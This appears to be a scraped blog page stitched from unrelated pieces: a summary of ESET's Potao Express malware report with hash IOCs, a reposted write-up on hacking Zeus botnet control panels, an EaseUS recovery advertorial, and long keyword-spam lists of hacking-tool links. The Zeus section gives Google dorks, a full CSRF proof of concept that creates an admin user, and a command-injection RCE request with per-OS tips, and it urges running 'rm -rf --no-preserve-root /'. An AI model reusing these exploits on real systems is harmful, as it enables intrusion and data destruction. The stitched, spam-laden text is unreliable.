quinta-feira, 1 de junho de 2023

Potao Express Samples

http://www.welivesecurity.com/2015/07/30/operation-potao-express/

http://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf


TL; DR


2011- July 2015
  • Aka  Sapotao and node69
  • Group - Sandworm / Quedagh APT
  • Vectors - USB, exe as doc, xls
  • Victims - RU, BY, AM, GE 
  • Victims - MMM group, UA gov
  • truecryptrussia.ru has been serving modified versions of the encryption software (Win32/FakeTC) that included a backdoor to selected targets. 
  • Win32/FakeTC - data theft from encrypted drives
  • The Potao main DLL only takes care of its core functionality; the actual spying functions are implemented in the form of downloadable modules. The plugins are downloaded each time the malware starts, since they aren't stored on the hard drive.
  • 1st Full Plugin and its export function is called Plug. Full plugins run continuously until the infected system is restarted
  • 2nd Light Plugin with an export function Scan. Light plugins terminate immediately after returning a buffer with the information they harvested off the victim's machine.
  • Some of the plugins were signed with a certificate issued to "Grandtorg":
  • Traffic 
  • Strong encryption. The data sent is encapsulated using the XML-RPC protocol.
  • MethodName value 10a7d030-1a61-11e3-beea-001c42e2a08b is always present in Potao traffic.
  • After receiving the request the C&C server generates an RSA-2048 public key and signs this generated key with another, static RSA-2048 private key .
  • In 2nd stage the malware generates a symmetric AES-256 key. This AES session key is encrypted with the newly received RSA-2048 public key and sent to the C&C server.
  • The actual data exchange after the key exchange is then encrypted using symmetric cryptography, which is faster, with the AES-256 key
  • The Potao malware sends an encrypted request to the server with computer ID, campaign ID, OS version, version of malware, computer name, current privileges, OS architecture (64 or 32bits) and also the name of the current process.
  • Potao USB - uses social engineering, exe in the root disguised as drive icon
  • Potao Anti RE -  uses the MurmurHash2 algorithm for computing the hashes of the API function names.
  • Potao Anti RE - encryption of strings
  • Russian TrueCrypt Win32/FakeTC - The malicious program code within the otherwise functional TrueCrypt software runs in its own thread. This thread, created at the end of the Mount function, enumerates files on the mounted encrypted drive, and if certain conditions are met, it connects to the C&C server, ready to execute commands from the attackers.
  • IOC https://github.com/eset/malware-ioc/tree/master/potao

TypeSHA256MD5
1stVersion1fe6af3d704d2fc0c7acd58b069a31eec866668ec6e25f52354e6e61266db8db85b0e3264820008a30f17ca19332fa19
1stVersion2ff0941fe3514abc12484ad2853d22fd7cb36469a313b5ecb6ef0c6391cf78abac854a3c91d52bfc09605506e76975ae
1stVersion54a76f5cd5a32ed7d5fa78e5d8311bafc0de57a475bc2fddc23ee4b3510b9d443b7d88a069631111d5585b1b10cccc86
1stVersion76c7c67274cf5384615a120e69be3af64cc31d9c4f05ff2031120612443c8360d1658b792dd1569abc27966083f59d44
1stVersion244c181eb442fefcf1e1daf900896bee6569481c0e885e3c63efeef86cd64c550c7183d761f15772b7e9c788be601d29
1stVersion887a721254486263f1f3f25f3c677da62ef5c062c3afa7ef70c895bc8b17b424a35e48909a49334a7ebb5448a78dcff9
1stVersion945c594aee1b5bd0f3a72abe8f5a3df74fc6ca686887db5e40fe859e3fc90bb1502f35002b1a95f1ae135baff6cff836
1stVersionab8d308fd59a8db8a130fcfdb6db56c4f7717877c465be98f71284bdfccdfa25a446ced5db1de877cf78f77741e2a804
1stVersionb22a614a291111398657cf8d1fa64fa50ed9c66c66a0b09d08c53972c6536766d939a05e1e3c9d7b6127d503c025dbc4
1stVersionfcfdcbdd60f105af1362cfeb3decbbbbe09d5fc82bde6ee8dfd846b2b844f97214634d446471b9e2f55158d9ac09d0b2
DebugVersion910f55e1c4e75696405e158e40b55238d767730c60119539b644ef3e6bc32a5d7263a328f0d47c76b4e103546b648484
DebugVersionc821cb34c86ec259af37c389a8f6cd635d98753576c675882c9896025a1abc53bdc9255df5385f534fea83b497c371c8
DebugVersionf845778c3f2e3272145621776a90f662ee9344e3ae550c76f65fd954e7277d195199fcd031987834ed3121fb316f4970
Droppersfrompostalsites4dcf14c41b31f8accf9683917bfc9159b9178d6fe36227195fabc232909452af65f494580c95e10541d1f377c0a7bd49
Droppersfrompostalsites8bc189dee0a71b3a8a1767e95cc726e13808ed7d2e9546a9d6b6843cea5eb3bda4b0615cb639607e6905437dd900c059
Droppersfrompostalsites048621ecf8f25133b2b09d512bb0fe15fc274ec7cb2ccc966aeb44d7a88beb5b07e99b2f572b84af5c4504c23f1653bb
Droppersfrompostalsitesaa23a93d2fed81daacb93ea7ad633426e04fcd063ff2ea6c0af5649c6cfa03851927a80cd45f0d27b1ae034c11ddedb0
Droppersfrompostalsitesc66955f667e9045ea5591ebf9b59246ad86227f174ea817d1398815a292b8c88579ad4a596602a10b7cf4659b6b6909d
Droppersfrompostalsitesd6f126ab387f1d856672c730991573385c5746c7c84738ab97b13c897063ff4ae64eb8b571f655b744c9154d8032caef
Dropperswdecoy61dd8b60ac35e91771d9ed4f337cd63e0aa6d0a0c5a17bb28cac59b3c21c24a9d755e52ba5658a639c778c22d1a906a3
Dropperswdecoy4328b06093a4ad01f828dc837053cb058fe00f3a7fd5cfb9d1ff7feb7ebb8e32b4d909077aa25f31386722e716a5305c
Dropperswdecoy15760f0979f2ba1b4d991f19e8b59fc1e61632fcc88755a4d147c0f5d47965c5fc4b285088413127b6d827656b9d0481
Dropperswdecoyb9c285f485421177e616a148410ddc5b02e43f0af375d3141b7e829f7d487bfd73e7ee83133a175b815059f1af79ab1b
Dropperswdecoycf3b0d8e9a7d0ad32351ade0c52de583b5ca2f72e5af4adbf638c81f4ad8fbcbeebbcb1ed5f5606aec296168dee39166
Dropperswdecoydbc1b98b1df1d9c2dc8a5635682ed44a91df6359264ed63370724afa9f19c7ee5a24a7370f35dbdbb81adf52e769a442
FakeTrueCryptextractedexe4c01ffcc90e6271374b34b252fefb5d6fffda29f6ad645a879a159f78e095979b64dbe5817b24d17a0404e9b2606ad96
FakeTrueCryptextractedexe5de8c04a77e37dc1860da490453085506f8aa378fbc7d811128694d8581b89ba7ca6101c2ae4838fbbd7ceb0b2354e43
FakeTrueCryptextractedexe73aae05fab96290cabbe4b0ec561d2f6d79da71834509c4b1f4b9ae714159b42f64704ed25f4c728af996eee3ee85411
FakeTrueCryptextractedexec7212d249b5eb7e2cea948a173ce96e1d2b8c44dcc2bb1d101dce64bb3f5beccc1f715ff0afc78af81d215d485cc235c
FakeTrueCryptSetup42028874fae37ad9dc89eb37149ecb1e6439869918309a07f056924c1b981deff34b77f7b2233ee6f727d59fb28f438a
FakeTrueCryptSetupa3a43bbc69e24c0bc3ab06fbf3ccc35cf8687e2862f86fb0d269258b68c710c9babd17701cbe876149dc07e68ec7ca4f
FakeTrueCryptSetupb8844e5b72971fe67d2905e77ddaa3366ae1c3bead92be6effd58691bc1ff8eccfc8901fe6a9a8299087bfc73ae8909e
FakeTrueCryptSetupfe3547f0e052c71f872bf09cdc1654137ee68f878fc6d5a78df16a13e6de176883f3ec97a95595ebe40a75e94c98a7bd
OtherDroppers2de76a3c07344ce322151dbb42febdff97ade8176466a3af07e5280bd859a18638e708fea8016520cb25d3cb933f2244
OtherDroppers4e88b8b121d768c611fe16ae1f008502b2191edc6f2ee84fef7b12b4d86fe000360df4c2f2b99052c07e08edbe15ab2c
OtherDroppers29dfc81b400a1400782623c618cb1d507f5d17bb13de44f123a333093648048f89a3ea3967745e04199ebf222494452e
OtherDroppers97afe4b12a9fed40ad20ab191ba0a577f5a46cbfb307e118a7ae69d04adc2e2d6ba88e8e74b12c914483c026ae92eb42
OtherDroppers793a8ce811f423dfde47a5f44ae50e19e7e41ad055e56c7345927eac951e966b043f99a875424ca0023a21739dba51ef
OtherDroppers904bb2efe661f654425e691b7748556e558a636d4f25c43af9d2d4dfbe83262e02d438df779affddaf02ca995c60cecb
OtherDroppersb62589ee5ba94d15edcf8613e3d57255dd7a12fce6d2dbd660fd7281ce6234f411b4e7ea6bae19a29343ae3ff3fb00ca
OtherDroppersd2c11706736fda2b178ac388206472fd8d050e0f13568c84b37683423acd155d27d74523b182ae630c4e5236897e11f3
OtherDroppersf1f61a0f9488be3925665f8063006f90fab1bf0bd0b6ff5f7799f8995ff8960e1ab8d45656e245aca4e59aa0519f6ba0
USBSpreaders1acae7c11fb559b81df5fc6d0df0fe502e87f674ca9f4aefc2d7d8f828ba7f5c76dda7ca15323fd658054e0550149b7b
USBSpreaders3d78f52fa0c08d8bf3d42074bf76ee56aa233fb9a6bc76119998d085d94368caca1a3618088f91b8fb2a30c9a9aa4aca
USBSpreaders7d15bd854c1dfef847cdd3caabdf4ab81f2410ee5c7f91d377cc72eb81135ff4a2bb01b764491dd61fa3a7ba5afc709c
USBSpreaders09c04206b57bb8582faffb37e4ebb6867a02492ffc08268bcbc717708d1a8919a59053cc3f66e72540634eb7895824ac
USBSpreaders12bb18fa9a12cb89dea3733b342940b80cd453886390079cb4c2ffcd664baeda2bd0d2b5ee4e93717ea71445b102e38e
USBSpreaders34e6fb074284e58ca80961feda4fe651d6d658077914a528a4a6efa91ecc749d057028e46ea797834da401e4db7c860a
USBSpreaders90b20b1687909c2f76f750ba3fd4b14731ce736c08c3a8608d28eae3f4cd68f3514423670de210f13092d6cb8916748e
USBSpreaders93accb71bf4e776955756c76990298decfebe4b1dd9fbf9d368e81dc1cb9532dabb9f4fab64dd7a03574abdd1076b5ea
USBSpreaders99a09ad92cc1a2564f3051057383cb6268893bc4a62903eabf3538c6bfb3aa9c542b00f903f945ad3a9291cb0af73446
USBSpreaders339a5199e6d0b5f781b08b2ca0ad0495e75e52b8e2fd69e1d970388fbca7a0d6a427ff7abb17af6cf5fb70c49e9bf4e1
USBSpreaders340b09d661a6ac45af53c348a5c1846ad6323d34311e66454e46c1d38d53af8b2646f7159e1723f089d63e08c8bfaffb
USBSpreaders461dd5a58ffcad9fffba9181e234f2e0149c8b8ba28c7ea53753c74fdfa0b0d5609abb2a86c324bbb9ba1e253595e573
USBSpreaders4688afcc161603bfa1c997b6d71b9618be96f9ff980e5486c451b1cc2c5076cbae552fc43f1ba8684655d8bf8c6af869
USBSpreaders7492e84a30e890ebe3ca5140ad547965cc8c43f0a02f66be153b038a73ee53141234bf4f0f5debc800d85c1bd2255671
USBSpreaders61862a55dcf8212ce9dd4a8f0c92447a6c7093681c592eb937a247e38c8109d4e685ea8b37f707f3706d7281b8f6816a
USBSpreaders95631685006ac92b7eb0755274e2a36a3c9058cf462dd46f9f4f66e8d67b9db29179f4683ece450c1ac7a819b32bdb6d
USBSpreadersb8b02cc57e45bcf500b433806e6a4f8af7f0ac0c5fc9adfd11820eebf4eb5d79cdc60eb93b594fb5e7e5895e2b441240
USBSpreaderse57eb9f7fdf3f0e90b1755d947f1fe7bb65e67308f1f4a8c25bc2946512934b739b67cc6dae5214328022c44f28ced8b
USBSpreaderse3892d2d9f87ea848477529458d025898b24a6802eb4df13e96b0314334635d03813b848162261cc5982dd64c741b450
USBSpreadersf1d7e36af4c30bf3d680c87bbc4430de282d00323bf8ae9e17b04862af28673635724e234f6258e601257fb219db9079


More articles
  1. Hacking App
  2. Hacking Tools Pc
  3. Hack Website Online Tool
  4. Hack Tools For Pc
  5. Hacker Tools 2019
  6. Hacking Tools Online
  7. Nsa Hacker Tools
  8. Pentest Automation Tools
  9. Pentest Tools Github
  10. Hack Tools For Windows
  11. Hacking Tools Free Download
  12. Hacking Tools For Pc
  13. Growth Hacker Tools
  14. Hack Website Online Tool
  15. Pentest Tools Free
  16. Hacking App
  17. Pentest Tools For Mac
  18. Hack Tools For Ubuntu
  19. Pentest Tools Download
  20. Hack Tools
  21. Growth Hacker Tools
  22. Hack Tools Download
  23. Pentest Tools Find Subdomains
  24. Blackhat Hacker Tools
  25. Tools Used For Hacking
  26. Pentest Tools Find Subdomains
  27. Hack Tools For Pc
  28. Nsa Hacker Tools
  29. Hacker Tools Linux
  30. How To Make Hacking Tools
  31. Hacking Tools For Kali Linux
  32. Android Hack Tools Github
  33. Hacker Tools
  34. Hacker
  35. Hacking Tools Usb
  36. Pentest Tools Download
  37. Ethical Hacker Tools
  38. Hacker Hardware Tools
  39. Hacking Tools For Windows 7
  40. Hacker Tool Kit
  41. Hacking Tools
  42. Computer Hacker
  43. Hack App
  44. Hack Apps
  45. Tools 4 Hack
  46. Tools 4 Hack
  47. Pentest Tools Framework
  48. Hacking Tools Free Download
  49. Hack Tool Apk
  50. Pentest Tools For Ubuntu
  51. Hacker Tools
  52. Hack Tools
  53. Pentest Tools Subdomain
  54. Hacking Tools For Beginners
  55. Hacking Tools For Games
  56. Hacking Tools Online
  57. Pentest Tools Android
  58. Hacking Tools Github
  59. Hack Tools
  60. Hacking Tools For Windows 7
  61. Bluetooth Hacking Tools Kali
  62. Hackers Toolbox
  63. Hacking Tools 2020
  64. Hacking Tools Usb
  65. Pentest Tools Nmap
  66. Hackers Toolbox
  67. Pentest Tools Subdomain
  68. Pentest Tools Port Scanner
  69. Pentest Tools Website
  70. Hack Tools For Windows
  71. Hacker Tools Hardware
  72. Pentest Tools Online
  73. Black Hat Hacker Tools
  74. Hacks And Tools
  75. How To Install Pentest Tools In Ubuntu
  76. Hacker Tools Linux
  77. Hack Tools Github
  78. Pentest Tools Review
  79. Hack Tool Apk
  80. Growth Hacker Tools
  81. Pentest Tools Tcp Port Scanner
  82. Pentest Tools Subdomain
  83. Hack Tool Apk
  84. Hacking Tools Free Download
  85. Hacking Tools Hardware
  86. Hacking Tools Usb
  87. Hack Tools For Windows
  88. Hacker
  89. Pentest Tools Online
  90. Hacker Tools List
  91. Pentest Tools Kali Linux
  92. Hacking Tools Usb
  93. Hack Tools For Mac
  94. Hacker Tools Apk
  95. Hacking Tools For Windows 7
  96. Hacking Tools Download
  97. Black Hat Hacker Tools
  98. Hacker Tools 2020
  99. Ethical Hacker Tools
  100. Hacking App
  101. Pentest Tools Alternative
  102. Hacking Tools For Windows Free Download
  103. Hack Tool Apk No Root
  104. Pentest Tools For Ubuntu
  105. Hacking Tools And Software
  106. Hacker Tools For Windows
  107. Pentest Tools Alternative
  108. Hacks And Tools
  109. What Are Hacking Tools
  110. Tools For Hacker
  111. Hacker Techniques Tools And Incident Handling
  112. Hacking Tools And Software
  113. Hacker Tool Kit
  114. Hackrf Tools
  115. Install Pentest Tools Ubuntu
  116. Hacker Tools Apk Download

Attacking Financial Malware Botnet Panels - Zeus

I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)

The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.

First things first, here are some Google dorks to find Zeus C&C server panel related stuff:
  • inurl:cp.php?m=login - this should be the login to the control panel
  • inurl:_reports/files  - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
  • inurl:install/index.php - this should be deleted, but I think this is useless now.


Boring vulns found

Update: You can use the CSRF to create a new user with admin privileges:
<html> <head>     <title></title> </head> <body>     <pre>   This is a CSRF POC to create a new admin user in Zeus admin panels.   Username: user_1392719246 Password: admin1   You might change the URL from 127.0.0.1.   Redirecting in a hidden iframe in <span id="countdown">10</span> seconds.   </pre> <iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>     <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame">  <input name="name" type="hidden" value="user_1392719246" />   <input name="password" type="hidden" value="admin1" />   <input name="status" type="hidden" value="1" />   <input name="comment" type="hidden" value="PWND!" />  <input name="r_botnet_bots" type="hidden" value="1" />   <input name="r_botnet_scripts" type="hidden" value="1" />   <input name="r_botnet_scripts_edit" type="hidden" value="1" />   <input name="r_edit_bots" type="hidden" value="1" />   <input name="r_reports_db" type="hidden" value="1" />   <input name="r_reports_db_edit" type="hidden" value="1" />   <input name="r_reports_files" type="hidden" value="1" />  <input name="r_reports_files_edit" type="hidden" value="1" />  <input name="r_reports_jn" type="hidden" value="1" />   <input name="r_stats_main" type="hidden" value="1" />   <input name="r_stats_main_reset" type="hidden" value="1" />   <input name="r_stats_os" type="hidden" value="1" />   <input name="r_system_info" type="hidden" value="1" />   <input name="r_system_options" type="hidden" value="1" />  <input name="r_system_user" type="hidden" value="1" />   <input name="r_system_users" type="hidden" value="1" />     </form> <script type="text/javascript">  window.onload=function(){    var counter = 10;   var interval = setInterval(function() {    counter--;    document.getElementById('countdown').innerHTML = counter;    if (counter == 0) {     redirect();     clearInterval(interval);    }   }, 1000);  };     function redirect() {   document.getElementById("csrf-form").submit();     }     </script> </body> </html> 
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
  • ClickJacking - really boring stuff
  • Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
  • SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.

Whats good news (for the C&C panel owners)


The following stuff looks good, at least some vulns were taken seriously:
  • The system directory is protected with .htaccess deny from all.
  • gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
  • Anti XSS: the following code is used almost everywhere
  • return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');
    My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.

What's really bad news (for the C&C panel owners)


And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).

The vulnerable code is in system/fsarc.php:

function fsarcCreate($archive, $files){    ...    $archive .= '.zip';    $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';    exec($cli, $e, $r); }

The exploit could not be simpler:
POST /cp.php?m=reports_files&path= HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded Content-Length: 60  filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1 
because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Recommendation: use escapeshellcmd next time.

Next time you find a vulnerable control panel with a weak password, just rm -rf --no-preserve-root / it ;-)

That's all folks!
Special greetz to Richard (XAMPP Apache service is running as SYSTEM ;-) )

Update: Looks like the gate.php is worth to investigate if you know the RC4 key. You can upload a PHP shell :)
Related posts

  1. Termux Hacking Tools 2019
  2. Hacking Tools Download
  3. Hacker Tools Apk
  4. How To Hack
  5. Hack Website Online Tool
  6. Pentest Tools Kali Linux
  7. Pentest Box Tools Download
  8. Pentest Box Tools Download
  9. Hacking Tools Usb
  10. Hacker Tools For Mac
  11. Pentest Tools
  12. Pentest Tools Kali Linux
  13. Pentest Tools Find Subdomains
  14. Tools Used For Hacking
  15. Pentest Tools Nmap
  16. Top Pentest Tools
  17. Wifi Hacker Tools For Windows
  18. Hack Apps
  19. Hacking Tools Download
  20. Hacker Tools Windows
  21. Hacker Tools Linux
  22. What Are Hacking Tools
  23. Hacking Tools Hardware
  24. Pentest Box Tools Download
  25. How To Hack
  26. Hacker Search Tools
  27. Hack Tools
  28. Pentest Tools For Ubuntu
  29. Hacker Hardware Tools
  30. Hacker Tools For Pc
  31. Hack Tools Pc
  32. Blackhat Hacker Tools
  33. Pentest Tools Port Scanner
  34. Hacking Tools
  35. Hacking Tools For Mac
  36. Hack Tools For Games
  37. Hacking Tools For Kali Linux
  38. Hack Tools Github
  39. Hack Tools For Pc
  40. Pentest Tools Nmap
  41. Hacker Tools Apk Download
  42. Physical Pentest Tools
  43. Hacking App
  44. Hacking Tools Windows 10
  45. Pentest Tools Online
  46. Hacking Tools 2020
  47. Hack Tools Pc
  48. Hacker Tools 2019
  49. Hack Website Online Tool
  50. Hacker Tools For Pc
  51. Hacking Tools And Software
  52. Pentest Box Tools Download
  53. Black Hat Hacker Tools
  54. Hack Tools For Games
  55. Pentest Tools For Ubuntu
  56. Tools For Hacker
  57. Pentest Tools Url Fuzzer
  58. Hacking Tools For Kali Linux
  59. Pentest Tools Subdomain
  60. Hacks And Tools
  61. Hacker Tools For Pc
  62. Hack Tools
  63. Hacker Tools Mac
  64. Pentest Tools Url Fuzzer
  65. Hacking Tools Download
  66. Blackhat Hacker Tools
  67. Hacking Tools Mac
  68. Hacker Tools Software
  69. Pentest Tools
  70. Hacker Tools 2020
  71. Hacking Tools For Windows
  72. Easy Hack Tools
  73. Hacking Tools For Games
  74. Hack Tools
  75. Hack Website Online Tool
  76. Hacking Tools Usb
  77. Hacking Tools Software
  78. Hack App
  79. Pentest Tools Windows
  80. Hacking Tools Download
  81. Hacker Tools For Pc
  82. Pentest Tools Url Fuzzer
  83. Termux Hacking Tools 2019
  84. Pentest Tools Framework
  85. Hack And Tools
  86. Hack Tools For Ubuntu
  87. Hack Tools Pc
  88. Hacker Search Tools
  89. Hacking Tools For Games
  90. Hacking Tools Software
  91. Pentest Tools Port Scanner
  92. Tools For Hacker
  93. Best Hacking Tools 2019
  94. Best Hacking Tools 2020
  95. Install Pentest Tools Ubuntu
  96. Pentest Tools List
  97. Pentest Tools For Ubuntu
  98. Top Pentest Tools
  99. Hack Tools Pc
  100. Hacker
  101. Physical Pentest Tools
  102. Pentest Recon Tools
  103. Hacker Tools Hardware
  104. Blackhat Hacker Tools
  105. Hacking Tools Github
  106. Pentest Tools Bluekeep
  107. Hacker Tools For Ios
  108. Pentest Tools Online
  109. Hacking Tools For Windows 7
  110. New Hacker Tools
  111. Pentest Tools Nmap
  112. Pentest Automation Tools
  113. Physical Pentest Tools
  114. Pentest Reporting Tools
  115. Pentest Tools
  116. Tools 4 Hack
  117. Hacker Techniques Tools And Incident Handling
  118. Hack Tools
  119. Hacker Tools Online
  120. Pentest Tools Framework
  121. What Are Hacking Tools
  122. Hacker Tools Linux
  123. Hacker Tools Apk Download
  124. Hack Tools Github
  125. Pentest Tools Android
  126. Hack Tools For Mac
  127. Pentest Tools For Mac
  128. Free Pentest Tools For Windows
  129. Hacking Tools Kit
  130. Hack And Tools
  131. Pentest Tools For Windows
  132. Hacking Apps
  133. Hack App
  134. Hacking Tools Name
  135. Hacker Tools For Ios
  136. Hacking App
  137. Nsa Hacker Tools
  138. Hacking Tools For Games
  139. Hack Tools Mac
  140. Hacking Tools Mac
  141. Hacking Tools For Pc
  142. Pentest Tools For Mac
  143. Hackrf Tools
  144. Pentest Tools
  145. Pentest Tools List
  146. Pentest Reporting Tools
  147. Tools Used For Hacking
  148. Hacking Tools Windows 10
  149. Hacking Tools
  150. Pentest Tools Port Scanner
  151. Pentest Tools Website
  152. Hacking Apps

How To Recover Files That Are Deleted From Recycle Bin

How To Recover Files That Are Deleted From Recycle Bin

How To Recover Files That Are Deleted From Recycle Bin

How To Recover Files That Are Deleted From Recycle Bin

Well, Windows users have a bad habit of removing files from recycle bin. Deleting useless files from Recycle Bin helps a user to save some storage space which can improve the speed of a computer. However, Windows users do that more frequently and later regret. Actually, Recycle Bin is a place from where we can get back our deleted files and folders.
Sometimes, we accidentally delete our important files and folders and due to some reason we lose them from Recycle bin too! At that time, we search for recovery methods. Well, there are many methods available over the web which can help you to recover deleted files from computer, but, when it comes to reliability, nothing can beat EaseUS.

What Is EaseUS Data Recovery Wizard?

EaseUS is one of the leading software providers which is known for its data recovery programme. EaseUS offers some free data recovery software that can help you to recover deleted, formatted or lost data from PC, laptop or removable device easily and quickly.
One of the best thing about EaseUS is that it provides tools for recycle bin recovery which can help you to get back files that you have deleted from the Recycle bin itself. EaseUS Data Recovery Wizard free can easily recover lost files, pictures, documents, videos and more from deleting, formatting, partition loss, OS crash, virus attack and other data loss cases.

How To Recover Deleted Files?

If you are struggling to get back your lost data files, then here is an easy data recovery method which will help you to get back deleted files on your computer. Below, we are going to share a mini guide on how to use EaseUS Recycle Bin Recovery to get back your deleted data.
Step 1. First of all, you need to download and install EaseUS Data Recovery Wizard on your Windows computer and then launch it normally. You need to select the location where you want to scan and then click on 'Scan'
Step 2. Now, wait for few minutes until the tool finishes scanning your drive. The tool search for files that got deleted or cleaned from the Recycle Bin.
Step 3. Now it will show you files that you can recover. Here you need to click on the file which you want to recover and click on 'Recover'
That's it, you are done! This is how you can use EaseUS data recovery to get back your deleted files on your computer.

Benefits of EaseUS Data Recovery

Well, the data recovery tool provided by EaseUS comes with many benefits. It can not only recover accidentally deleted files, but it can also recover data in case of Virus Attacks, Hard Disk Damage, OS Crash etc.
You can also use this awesome data recovery wizard to recover deleted files from External Disk, USB Drive, Camcorder, Mobile Devices, Zip Drive, iPod, Music Player and more.
Overall, this is one of the best data recovery tools you can have on your Windows computer. EaseUS Data Recovery also has a free version with restricted features. Overall, this is a stress-free solution to get back your deleted files
Continue reading